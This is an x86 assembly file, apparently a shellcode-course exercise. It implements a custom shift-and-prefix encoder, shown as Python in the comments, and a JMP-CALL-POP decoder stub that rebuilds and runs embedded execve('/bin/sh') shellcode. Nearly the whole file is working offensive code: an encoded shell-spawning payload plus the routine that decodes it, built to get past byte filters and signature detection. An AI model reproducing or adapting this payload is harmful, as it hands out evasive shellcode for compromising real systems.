;author: Shihao Songss3695@drexel.edu
;decoding will be divided into two parts
;First, shift right to get the original shellcode with prefix "0xAA"
;Second, delete all the "0xAA" prefix and reformat the shellcode
; shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")
; encode = ""
;
; for x in bytearray(shellcode) :
; if x < 128:
; x=x<<1
; encode += '0xAA,'
; encode += '0x'
; encode += '%02x,'%x
;
; print encode
global _start
section .text
_start:
jmp short call_shellcode
decoder:
pop esi ;now esi contains the address of encoded shellcode
mov edi, esi ;this is for formatting
decode:
mov bl, byte [esi]
xor bl, 0xBB ;bl is for testing end
jz formatting ;First step is done
mov cl, byte [esi]
xor cl, 0XAA
jz shift_decode
inc esi
jmp short decode
shift_decode:
mov dl, byte [esi + 1]
shr dl,1 ;shift next instruction
mov byte [esi + 1], dl
inc esi
jmp short decode
formatting:
mov eax, edi
mov bl, byte [eax]
xor bl, 0xBB ;now formatting complete
jz encoded ;starts to execute
format:
mov bl, byte [eax] ;bl is for testing end
mov cl, byte [eax] ;cl is for testing prefix
xor cl, 0xAA
jnz Next_Cycle
Cycle:
mov dl, byte [eax]
xor dl, 0xBB
jz Next_Cycle ;This cycle ends here
mov dl, byte [eax + 1]
mov byte [eax], dl
inc eax
jmp short Cycle
Next_Cycle:
inc edi
jmp short formatting
call_shellcode:
call decoder
encoded: db 0xAA,0x62,0xc0,0xAA,0xa0,0xAA,0xd0,0xAA,0x5e,0xAA,0x5e,0xAA,0xe6,0xAA,0xd0,0xAA,0xd0,0xAA,0x5e,0xAA,0xc4,0xAA,0xd2,0xAA,0xdc,0x89,0xe3,0xAA,0xa0,0x89,0xe2,0xAA,0xa6,0x89,0xe1,0xb0,0xAA,0x16,0xcd,0x80,0xBB